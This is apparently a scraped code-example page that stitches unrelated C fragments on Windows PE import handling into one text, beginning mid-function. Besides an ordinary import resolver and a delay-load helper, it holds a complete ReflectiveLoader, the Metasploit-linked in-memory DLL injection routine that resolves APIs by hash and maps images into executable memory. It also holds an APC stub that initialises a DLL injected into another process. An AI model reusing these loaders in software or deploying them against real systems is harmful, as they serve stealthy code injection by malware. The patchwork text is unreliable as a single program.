		    int ordinal = IMAGE_ORDINAL(import_list->u1.Ordinal);

//		    TRACE("--- Ordinal %s,%d\n", name, ordinal);

		    thunk_list->u1.Function=LookupExternal(name, ordinal);
		} else {
		    pe_name = (PIMAGE_IMPORT_BY_NAME)RVA(import_list->u1.AddressOfData);
//		    TRACE("--- %s %s.%d\n", pe_name->Name, name, pe_name->Hint);
		    thunk_list->u1.Function=LookupExternalByName(name, pe_name->Name);
		}
		import_list++;
		thunk_list++;
	    }
	} else {
	    TRACE("Borland style imports used\n");
	    thunk_list = (PIMAGE_THUNK_DATA) RVA(pe_imp->FirstThunk);
	    while (thunk_list->u1.Ordinal) {
		if (IMAGE_SNAP_BY_ORDINAL(thunk_list->u1.Ordinal)) {

		    int ordinal = IMAGE_ORDINAL(thunk_list->u1.Ordinal);

		    TRACE("--- Ordinal %s.%d\n",name,ordinal);
		    thunk_list->u1.Function=LookupExternal(
		      name, ordinal);
		} else {
		    pe_name=(PIMAGE_IMPORT_BY_NAME) RVA(thunk_list->u1.AddressOfData);
		    TRACE("--- %s %s.%d\n",
		   		  pe_name->Name,name,pe_name->Hint);
		    thunk_list->u1.Function=LookupExternalByName(
		      name, pe_name->Name);
		}
		thunk_list++;
	    }
	}
    }
    return 0;
}
Exemple #19
0
FARPROC WINAPI _EXPFUNC __delayLoadHelper(ImgDelayDescr *pidd, FARPROC *ppfnIATEntry)
{
    HMODULE                     hmod;
    unsigned                    iINT;
    FARPROC                     pfnRet;
    const IMAGE_THUNK_DATA *    pitd;

    // Set up some data we use for the hook procs but also useful for
    // our own use
    //
    DelayLoadInfo   dli;

    memset(&dli, 0, sizeof(dli));
    dli.cb = sizeof (DelayLoadInfo);
    dli.pidd = pidd;
    dli.ppfn = ppfnIATEntry;
    dli.szDll = pidd->szName;

    hmod = pidd->hmod;

    // Calculate the index for the name in the import name table.
    // N.B. it is ordered the same as the IAT entries so the calculation
    // comes from the IAT side.
    //
    iINT = IndexFromPImgThunkData((const IMAGE_THUNK_DATA *)ppfnIATEntry, pidd->pIAT);

    pitd = &((pidd->pINT)[iINT]);

    if ((dli.dlp.fImportByName = ((pitd->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0)) != 0)
    {
        dli.dlp.szProcName = (LPCSTR)((IMAGE_IMPORT_BY_NAME*)pitd->u1.AddressOfData)->Name;
    }
    else
    {
        dli.dlp.dwOrdinal = IMAGE_ORDINAL(pitd->u1.Ordinal);
    }

    // Call the initial hook.  If it exists and returns a function pointer,
    // abort the rest of the processing and just return it for the call.
    //
    pfnRet = NULL;

    if (__pfnDliNotifyHook)
    {
        if ((pfnRet = (*__pfnDliNotifyHook)(dliNoteStartProcessing, &dli)) != 0)
        {
            goto HookBypass;
        }
    }

    if (hmod == 0)
    {
        if (__pfnDliNotifyHook)
        {
            hmod = (HMODULE)(*__pfnDliNotifyHook)(dliNotePreLoadLibrary, &dli);
        }

        if (hmod == 0)
        {
            hmod = LoadLibrary(dli.szDll);
        }

        if (hmod == 0)
        {
            dli.dwLastError = GetLastError();
            if (__pfnDliFailureHook)
            {
                // when the hook is called on LoadLibrary failure, it will
                // return 0 for failure and an hmod for the lib if it fixed
                // the problem.
                //
                hmod = (HMODULE)(*__pfnDliFailureHook)(dliFailLoadLibrary, &dli);
            }

            if (hmod == 0)
            {
                DelayLoadInfo *  pdli = &dli;

                RaiseException(
                    BCPPException(ERROR_SEVERITY_ERROR, ERROR_MOD_NOT_FOUND),
                    0,
                    1,
                    (PDWORD)&pdli
                );

                // If we get to here, we blindly assume that the handler of the exception
                // has magically fixed everything up and left the function pointer in
                // dli.pfnCur.
                //
                return dli.pfnCur;
            }
        }

        // Store the library handle.  If it is already there, we infer
        // that another thread got there first, and we need to do a
        // FreeLibrary() to reduce the refcount
        //
        EnterCriticalSection(&UnloadInfoCS);

        if (!pidd->hmod)
        {
            AddToUnloadList(pidd);
            pidd->hmod = hmod;
        }
        else
        {
            FreeLibrary(hmod);
            hmod = pidd->hmod;
        }

        LeaveCriticalSection(&UnloadInfoCS);
    }

    // Go for the procedure now.
    dli.hmodCur = hmod;

    if (__pfnDliNotifyHook)
    {
        pfnRet = (*__pfnDliNotifyHook)(dliNotePreGetProcAddress, &dli);
    }

    if (pfnRet == 0)
    {
        if (pidd->pBoundIAT && pidd->dwTimeStamp)
        {
            // bound imports exist...check the timestamp from the target image
            PIMAGE_NT_HEADERS   pinh = PinhFromImageBase(hmod);

            if (pinh->Signature == IMAGE_NT_SIGNATURE &&
                    TimeStampOfImage(pinh) == pidd->dwTimeStamp &&
                    FLoadedAtPreferredAddress(pinh, hmod))
            {

                OverlayIAT(pidd->pIAT, pidd->pBoundIAT);
                pfnRet = (FARPROC)pidd->pIAT[iINT].u1.Function;
                goto HookBypass;
            }
        }

        pfnRet = GetProcAddress(hmod, dli.dlp.szProcName);
    }

    if (pfnRet == 0)
    {
        dli.dwLastError = GetLastError();

        if (__pfnDliFailureHook)
        {
            // when the hook is called on GetProcAddress failure, it will
            // return 0 on failure and a valid proc address on success
            //
            pfnRet = (*__pfnDliFailureHook)(dliFailGetProcAddress, &dli);
        }

        if (pfnRet == 0)
        {
            DelayLoadInfo * pdli = &dli;

            RaiseException(
                BCPPException(ERROR_SEVERITY_ERROR, ERROR_PROC_NOT_FOUND),
                0,
                1,
                (PDWORD)&pdli
            );

            // If we get to here, we blindly assume that the handler of the exception
            // has magically fixed everything up and left the function pointer in
            // dli.pfnCur.
            //
            pfnRet = dli.pfnCur;
        }
    }

    *ppfnIATEntry = pfnRet;

HookBypass:
    if (__pfnDliNotifyHook)
    {
        dli.dwLastError = 0;
        dli.hmodCur = hmod;
        dli.pfnCur = pfnRet;
        (*__pfnDliNotifyHook)(dliNoteEndProcessing, &dli);
    }

    return pfnRet;
}
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
	// the functions we need
	LOADLIBRARYA pLoadLibraryA;
	GETPROCADDRESS pGetProcAddress;
	VIRTUALALLOC pVirtualAlloc;
	VIRTUALLOCK pVirtualLock;
	OUTPUTDEBUG pOutputDebug;

	USHORT usCounter;

	// the initial location of this image in memory
	UINT_PTR uiLibraryAddress;
	// the kernels base address and later this images newly loaded base address
	UINT_PTR uiBaseAddress;

	// variables for processing the kernels export table
	UINT_PTR uiAddressArray;
	UINT_PTR uiNameArray;
	UINT_PTR uiExportDir;
	UINT_PTR uiNameOrdinals;
	DWORD dwHashValue;

	// variables for loading this image
	UINT_PTR uiHeaderValue;
	UINT_PTR uiValueA;
	UINT_PTR uiValueB;
	UINT_PTR uiValueC;
	UINT_PTR uiValueD;
	UINT_PTR uiValueE;

	register UINT_PTR inspect;

	// STEP 0: calculate our images current base address
	// we will start searching backwards from our current EIP
#ifdef _WIN64
	uiLibraryAddress = eip();
#else
	__asm {
		call geteip
geteip:
		pop uiLibraryAddress
	}

#endif

	// loop through memory backwards searching for our images base address
	// we dont need SEH style search as we shouldnt generate any access violations with this
	while( TRUE )
	{
		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
			{
				uiHeaderValue += uiLibraryAddress;
				// break if we have found a valid MZ/PE header
				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
					break;
			}
		}
		uiLibraryAddress--;
	}
	
	// STEP 1: process the kernels exports for the functions our loader needs...

	// get the Process Enviroment Block
#ifdef _WIN64
	uiBaseAddress = __readgsqword( 0x60 );	
#else
	uiBaseAddress = __readfsdword( 0x30 );
#endif

	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
	uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;

	// get the first entry of the InMemoryOrder module list
	uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while( uiValueA )
	{
		// get pointer to current modules name (unicode string)
		uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
		// set bCounter to the length for the loop
		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
		// clear uiValueC which will store the hash of the module name
		uiValueC = 0;
		// compute the hash of the module name...
		do
		{
			uiValueC = ror( (DWORD)uiValueC );
			// normalize to uppercase if the module name is in lowercase
			if( *((BYTE *)uiValueB) >= 'a' )
				uiValueC += *((BYTE *)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE *)uiValueB);
			uiValueB++;
		} while( --usCounter );
		// compare the hash with that of kernel32.dll
		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
		{
			// get this modules base address
			uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
			break;
		}
		// get the next entry
		uiValueA = DEREF( uiValueA );
	}

	// get the VA of the modules NT Header
	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

	// uiNameArray = the address of the modules export directory entry
	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

	// get the VA of the export directory
	uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

	// get the VA for the array of name pointers
	uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
			
	// get the VA for the array of name ordinals
	uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

	usCounter = 5;

	// loop while we still have imports to find
	while( usCounter > 0 )
	{
		// compute the hash values for this function name
		dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
				
		// if we have found a function we want we get its virtual address
		if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
		{
			// get the VA for the array of addresses
			uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

			// use this functions name ordinal as an index into the array of name pointers
			uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

			// store this functions VA
			if( dwHashValue == LOADLIBRARYA_HASH )
				pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			else if( dwHashValue == GETPROCADDRESS_HASH )
				pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			else if( dwHashValue == VIRTUALALLOC_HASH )
				pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			else if( dwHashValue == VIRTUALLOCK_HASH )
				pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			else if( dwHashValue == OUTPUTDEBUG_HASH )
				pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
			// decrement our counter
			usCounter--;
		}

		// get the next exported function name
		uiNameArray += sizeof(DWORD);

		// get the next exported function name ordinal
		uiNameOrdinals += sizeof(WORD);
	}

	// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
	
	// prevent our image from being swapped to the pagefile
	pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);

	// we must now copy over the headers
	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;
	__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );


	// STEP 3: load in all of our sections...

	// uiValueA = the VA of the first section
	uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;

	// iterate through all sections, loading them into memory.
	while( uiValueE-- )
	{
		// uiValueB is the VA for this section
		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

		// uiValueC if the VA for this sections data
		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

		// copy the section over
		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
		__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );

		// get the VA of the next section
		uiValueA += sizeof( IMAGE_SECTION_HEADER );
	}


	// STEP 4: process our images import table...


	// uiValueB = the address of the import directory
	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
	uiValueC = ( uiBaseAddress + (UINT_PTR)((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

	// iterate through all imports until a null RVA is found (Characteristics is mis-named)
	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
	{
		/*
		pOutputDebug("Loading library: ");
		pOutputDebug((LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ));
		pOutputDebug("\n");
		*/

		// use LoadLibraryA to load the imported module into memory
		uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

		if (! uiLibraryAddress) {
			//pOutputDebug("Loading library FAILED\n");
			// get the next import
			uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
			continue;
		}

		// uiValueD = VA of the OriginalFirstThunk
		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
	
		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

		// itterate through all imported functions, importing by ordinal if no name present
		while( DEREF(uiValueA) )
		{
			// sanity check uiValueD as some compilers only import by FirstThunk
			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
			{
				// get the VA of the modules NT Header
				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				// uiNameArray = the address of the modules export directory entry
				uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

				// get the VA of the export directory
				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

				// get the VA for the array of addresses
				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

				// patch in the address for this imported function
				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
			}
			else
			{
				// get the VA of this functions import by name struct
				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
	/*
				pOutputDebug("Resolving function: ");
				pOutputDebug((LPCSTR)( (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ));
				pOutputDebug("\n");
	*/

				// use GetProcAddress and patch in the address for this imported function
				DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );	

			}
			// get the next imported function
			uiValueA += sizeof( UINT_PTR );
			if( uiValueD )
				uiValueD += sizeof( UINT_PTR );
		}

		// get the next import
		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
	}


	// STEP 5: process all of our images relocations...

	// calculate the base address delta and perform relocations (even if we load at desired image base)
	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
	
	// uiValueB = the address of the relocation directory
	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

	// check if there are any relocations present
	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
	{
		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

		// and we iterate through all entries...
		while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
		{
			// uiValueA = the VA for this relocation block
			uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

			// uiValueB = number of entries in this relocation block
			uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

			// uiValueD is now the first entry in the current relocation block
			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while( uiValueB-- )
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
					*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

				// get the next entry in the current relocation block
				uiValueD += sizeof( IMAGE_RELOC );
			}

			// get the next entry in the relocation directory
			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		}
	}

	// STEP 6: process the images exception directory if it has one (PE32+ for x64)
/*
	// uiValueB = the address of the relocation directory
	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
	// check if their are any exception etries present
	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
	{
		// get the number of entries
		uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
		
		// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

		// itterate through all entries
		while( uiValueA-- )
		{
			//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
		
			// get the next entry
			uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
		}
	}
*/
	// STEP 7: call our images entry point

	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

	// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

	// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
	return uiValueA;
}
//
//	APC function. Initializes mapped image of a DLL: processes import, restores section protection. Executes image entry.
//
VOID _stdcall LoadDllApcStub(
	PLOADER_CONTEXT	LdrCtx,
	PVOID			SystemArgument1,
	PVOID			SystemArgument2
	)
{
	HANDLE	hModule;
	PCHAR	ImageBase;
	BOOL	Result;

	if (ImageBase = (PCHAR)LdrCtx->ImageBase)
	{
		NTSTATUS		ntStatus = STATUS_SUCCESS;
		FUNC_DLL_MAIN	pDllMain;
		FUNC_APP_ENTRY	AppEntryPoint;

		// Initializing DLL image
		PIMAGE_NT_HEADERS Pe = (PIMAGE_NT_HEADERS)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
		PIMAGE_SECTION_HEADER	Section = IMAGE_FIRST_SECTION(Pe);
		ULONG	i, OldProtect, NumberSections = Pe->FileHeader.NumberOfSections;

		// Resolving module import
		ULONG   ImportStartRVA;
		PCHAR   ModuleName;
		PVOID	ImportedModuleBase = NULL;
		PIAT_ENTRY	pIatEntry = NULL;
		PIMAGE_IMPORT_DESCRIPTOR pImportDesc;

		// Get the import table RVA from the data dir
		if (ImportStartRVA = Pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
		{
			pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(ImageBase + ImportStartRVA);

			// Find the import descriptor containing references to callee's functions
			for (; pImportDesc->Name; pImportDesc++) 
			{	
				ULONG NameLen = 0;
				ModuleName = ImageBase + pImportDesc->Name;

				while(ModuleName[NameLen])
				{
					LdrCtx->wDllPath[NameLen] = (WCHAR)ModuleName[NameLen];
					NameLen += 1;
				}
				LdrCtx->uDllPath.Length = (USHORT)(NameLen*sizeof(WCHAR));
				LdrCtx->uDllPath.MaximumLength = (USHORT)((NameLen+1)*sizeof(WCHAR));
				LdrCtx->uDllPath.Buffer = (PWSTR)&LdrCtx->wDllPath;
					
				ntStatus = ((FUNC_LOAD_LIBRARY)LdrCtx->Import.pLdrLoadDll)(NULL, 0, &LdrCtx->uDllPath, &ImportedModuleBase);
				if (NT_SUCCESS(ntStatus))
				{
					ULONG   rvaINT = pImportDesc->OriginalFirstThunk;
					ULONG   rvaIAT = pImportDesc->FirstThunk;
					PIAT_ENTRY	pIatEntry = NULL;
					PIMAGE_IMPORT_BY_NAME   pOrdinalName;
					PIMAGE_THUNK_DATA		pINT;
					PIMAGE_THUNK_DATA		pIAT;
					IAT_ENTRY				IatEntry;
					USHORT					Ordinal = 0;

					if ( rvaINT == 0 )   // No Characteristics field?
						rvaINT = rvaIAT;
	     
					if ( rvaINT != 0 )   // No FirstThunk field?  Ooops!!!
					{
						// Adjust the pointer to point where the tables are in the mem mapped file.
						pINT = (PIMAGE_THUNK_DATA)(ImageBase + rvaINT);
						pIAT = (PIMAGE_THUNK_DATA)(ImageBase + rvaIAT);

						while (TRUE) // Loop forever (or until we break out)
						{	
							if (pINT->u1.AddressOfData == 0)
								break;

							if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal) == FALSE)
								pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(ImageBase + (ULONG)pINT->u1.AddressOfData);
							else if (pINT->u1.Ordinal >= (ULONG_PTR)ImageBase && pINT->u1.Ordinal < ((ULONG_PTR)ImageBase + Pe->OptionalHeader.SizeOfImage))
								pOrdinalName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)pINT->u1.AddressOfData);
							else
							{
								pOrdinalName = NULL;
								Ordinal = (USHORT)IMAGE_ORDINAL(pINT->u1.Ordinal);
							}
								
							if (pOrdinalName)
							{
								NameLen = 0;
								while(pOrdinalName->Name[NameLen])
									NameLen += 1;

								LdrCtx->uDllPath.Length = (USHORT)NameLen;
								LdrCtx->uDllPath.MaximumLength = (USHORT)(NameLen + 1);
								LdrCtx->uDllPath.Buffer = (PWSTR)&pOrdinalName->Name;
								pOrdinalName = (PIMAGE_IMPORT_BY_NAME)&LdrCtx->uDllPath;
							}

							ntStatus = ((FUNC_PROC_ADDRESS)LdrCtx->Import.pLdrGetProcedureAddress)(ImportedModuleBase, (PANSI_STRING)pOrdinalName, Ordinal, (PVOID*)&IatEntry);
							if (NT_SUCCESS(ntStatus))
							{
								pIatEntry = &pIAT->u1.Function;
								*pIatEntry = IatEntry;
							}
							else
							{
								ntStatus = STATUS_PROCEDURE_NOT_FOUND;
								break;
							}

							pINT++;         // advance to next thunk
							pIAT++;         // advance to next thunk
						} // while (TRUE)	
					}	// if ( rvaINT != 0 ) 
				}	// if (NT_SUCCESS(ntStatus))
				else
				{
					ntStatus = STATUS_INVALID_IMPORT_OF_NON_DLL;
					break;
				}
			} // for (; pImportDesc->Name; pImportDesc++) 
		}	// if (ImportStartRVA = Pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)


		if (NT_SUCCESS(ntStatus))
		{
			ULONG_PTR	tSize = (ULONG_PTR)Pe->OptionalHeader.SizeOfHeaders;
			// Restoring sections' protection
			ntStatus = ((FUNC_PROTECT_MEM)LdrCtx->Import.pNtProtectVirtualMemory)((HANDLE)-1, (PVOID*)&ImageBase, &tSize, PAGE_READWRITE, &OldProtect);
			for (i=0; (i<NumberSections && NT_SUCCESS(ntStatus)); i++)
			{
				ULONG	NewProtect = 0;
				PVOID	BaseAddress;
	
				if (Section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
				{
					if (Section->Characteristics & IMAGE_SCN_MEM_WRITE)
						NewProtect = PAGE_EXECUTE_READWRITE;
					else
						NewProtect = PAGE_EXECUTE_READ;
				} 
				else if (Section->Characteristics & IMAGE_SCN_MEM_READ)
				{
					if (Section->Characteristics & IMAGE_SCN_MEM_WRITE)
						NewProtect = PAGE_READWRITE;
					else
						NewProtect = PAGE_READONLY;
				}
				else 
					NewProtect = PAGE_READWRITE;

				tSize = (ULONG_PTR)Section->Misc.VirtualSize;
				BaseAddress = (PVOID)(ImageBase + Section->VirtualAddress);
				ntStatus = ((FUNC_PROTECT_MEM)LdrCtx->Import.pNtProtectVirtualMemory)(NtCurrentProcess(), &BaseAddress, &tSize, NewProtect, &OldProtect);
				Section += 1;
			}	// for (i=0; i<NumberSections; i++)
		
			if (NT_SUCCESS(ntStatus))
			{
				// Calling DLL entry point
				pDllMain = (FUNC_DLL_MAIN)(ImageBase + Pe->OptionalHeader.AddressOfEntryPoint);
				Result = (pDllMain)(ImageBase, DLL_PROCESS_ATTACH, NULL);
			}	// if (NT_SUCCESS(ntStatus))
		}	// if (NT_SUCCESS(ntStatus))
	}	// if (ImageBase = LdrCtx->ImageBase)
	else
	{
		// Loading DLL by name
		if (NT_SUCCESS(((FUNC_LOAD_LIBRARY)LdrCtx->Import.pLdrLoadDll)(NULL, 0, &LdrCtx->uDllPath, &hModule)))
			Result = TRUE;
	}

	UNREFERENCED_PARAMETER(SystemArgument1);
	UNREFERENCED_PARAMETER(SystemArgument2);
}